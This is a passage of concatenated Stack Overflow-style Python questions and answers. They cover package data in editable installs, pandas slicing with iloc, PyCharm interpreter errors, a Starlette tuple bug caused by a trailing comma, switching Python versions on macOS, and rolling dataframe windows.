I'm working with an editable installation and there's already a data/ directory in the package (for source code unrelated to the top-level data).

Answer: Create an empty data/__init__.py file, so that data becomes a top-level import package, so that the data files become package data, so that they are accessible via importlib.resources.files('data'). This should work with "editable installation". You might need to do small changes in your packaging files (setup.py or setup.cfg or pyproject.toml).
Title: Last row of some column in dataframe not included
Tags: python,pandas,dataframe

Question: So I have tried to find an average of a value for an index 0 before it exchange to another index.
An example of the dataframe:




column_a
value_b
sum_c
count_d_
avg_e




0
10
10
1



0
20
30
2



0
30
60
3
20


1
10
10
1



1
20
30
2



1
30
60
3
20


0
10
10
1



0
20
30
2
15


1
10
10
1



1
20
30
2



1
30
60
3
20


0
10
10
1



0
20







however, only the last row for sum and count is unavailable, so the avg cannot be calculated for it
part of the code...
#sum and avg for each section

for i, row in df.iloc[0:-1].iterrows():
  if df['column_a'][i] == 0:
    sum = sum + df['value_b'][i]
    df['sum_c'][i] = sum
    count = count + 1
    df['count_d'][i] = count
  else:
    sum = 0 
    count = 0
    df['sum_c'][i] = sum
    df['count_d'][i] = count

totcount = 0
for m, row in df.iloc[0:-1].iterrows():
  if df.loc[m, 'column_a'] == 0 :
    if (df.loc[m+1, 'sum_c'] == 0) :
      totcount = df.loc[m, 'count_d']
      avg_e = (df.loc[m, 'sum_c']) / totcount
      df.loc[m, 'avg_e'] = avg_e

have tried only using df.iloc[0:].iterrows but it produce an error.

Answer: It is the expected behavior of df.iloc[0:-1] to return all the rows excepting the last one. When using slicing, remember that the last index you provide is not included in the return range. Since -1 is the index of the last row, [0:-1] excludes the last row.
The solution given by @mozway is anyway more elegant, but if for any reason you still want to use iterrows(), you can use df.iloc[0:].
The error ou got when you did may be due to your df.loc[m+1, 'sum_c']. At the last row, m+1 will be out of bounds and produce an IndexError.
Title: Selecting Python.exe as a interpreter doesnt work?
Tags: python,pycharm

Question: After installing phycharm i get an error message:"Please select a valid Python interpreter".
I went to the python interpreter settings add interpreter system interpreter wrote the path to the python.exe. When I select the Python.exe and click on "Ok" I get an error message:" invalid python interpreter name"python.exe"
I tried reinstalling phycharm and looking for youtube video solutions but none of them worked.

Answer: did you try to reinstall python ? And try to use python from cmd to check if your python.exe file does indeed work properly.
Lmk if that doesn't work, but the problem seems kinda weird, dumb question but did you select the python.exe file ? Watch out to not select only the folder.
Title: Python and Starlette - receiving a tuple from an API that's trying to return json
Tags: python,json,starlette

Question: I'm working on a Starlette API.  I am trying to receive a response object or json but I end up with a tuple.  Any thoughts or guidance will be appreciated.
Frontend:
headers = {"Authorization": settings.API_KEY}
association = requests.get(
    "http://localhost:9999/get-association",
    headers=headers,
),
print("association:", type(association))

association: <class 'tuple'>
Backend:
@app.route("/get-association")
async def association(request: Request):
    if request.headers["Authorization"] != settings.API_KEY:
        return JSONResponse({"error": "unauthorized"}, status_code=401)
    # return JSONResponse(
    #     content=await get_association(), status_code=200
    # )
    association = {"association": "test data"}
    print("association:", type(association), association)
    return JSONResponse(association)


association: <class 'dict'> {'association': 'test data'}

Answer: You have a comma after requests.get. This is making a tuple of (<Response [200]>,).
Title: How to change python3 version on mac to 3.10.10
Tags: python,installation,pip,version,upgrade

Question: I am currently running python 3.9.13 on my mac. I wanted to update my version to 3.10.10
I tried running
brew install python

However it says that "python 3.10.10 is already installed"!
When i run
python3 --version

in the terminal it says that i am still on "python 3.9.13"
So my question is, how do i change the python version from 3.9.13 to 3.10.10? I already deleted python 3.9 from my applications and python 3.10 is the only one that is still there.
I also tried to install python 3.10.10 from the website and installing it. However it does not work. Python 3.10.10 is being installed successfully but the version is still the same when i check it.

Answer: Just delete the current python installation on your device and download the version you want from the offical website. That is the easiest way and the most suitable one for a beginner.
Title: How to change python3 version on mac to 3.10.10
Tags: python,installation,pip,version,upgrade

Question: I am currently running python 3.9.13 on my mac. I wanted to update my version to 3.10.10
I tried running
brew install python

However it says that "python 3.10.10 is already installed"!
When i run
python3 --version

in the terminal it says that i am still on "python 3.9.13"
So my question is, how do i change the python version from 3.9.13 to 3.10.10? I already deleted python 3.9 from my applications and python 3.10 is the only one that is still there.
I also tried to install python 3.10.10 from the website and installing it. However it does not work. Python 3.10.10 is being installed successfully but the version is still the same when i check it.

Answer: When you download latest version, it comes with a file named Update Shell Profile.command.
In mac, you can find it at /Applications/Python 3.11/Update Shell Profile.command.
Run it and it should upgrade to latest version.
Title: Turn a larger Pandas data frame into smaller rolling data frames
Tags: python

Question: I'm new to Python, know just enough R to get by. I have a 10 by 10 dataframe.
small2
       USLC      USSC      INTD  ...      DSTS      PCAP       PRE
0  0.059304  0.019987 -0.034140  ...  0.003009  0.113144 -0.021656
1  0.003835 -0.024248  0.012446  ...  0.005323 -0.013716  0.011109
2 -0.045045 -0.047186 -0.002372  ... -0.011956 -0.118342 -0.045023
3  0.054108  0.002787  0.003714  ...  0.014466  0.128931 -0.007596
4  0.064045  0.111250  0.077478  ...  0.012059  0.115427  0.079145
5  0.041442  0.042858  0.047701  ...  0.009984  0.047098  0.003579
6  0.081832  0.046531  0.010531  ...  0.031772  0.126552  0.001398
7 -0.047171  0.022883 -0.065095  ... -0.010224 -0.025990 -0.055431
8  0.054844  0.073193  0.044514  ...  0.016301  0.031755  0.044597
9 -0.032403 -0.043930 -0.065013  ...  0.011944 -0.032902 -0.117689

I want to create a list of several dataframes that are each just rolling 5 by 10 frames. Rows 0 through 4, 1 through 5, etc. I've seen articles addressing something similar, but they haven't worked. I'm thinking about it like lapply in R.
I've tried splits = [small2.iloc[[i-4:i]] for i in small2.index] and got a syntax error from the colon.
I then tried splits = [small2.iloc[[i-4,i]] for i in small2.index] which gave me a list of ten elements. It should be six 5 by 10 elements.
Feel like I'm missing something basic. Thank you!

Answer: I figured it out. splits = [small2.iloc[i-4:i+1] for i in small2.index[4:10]]
Not sure how this indexing makes sense though.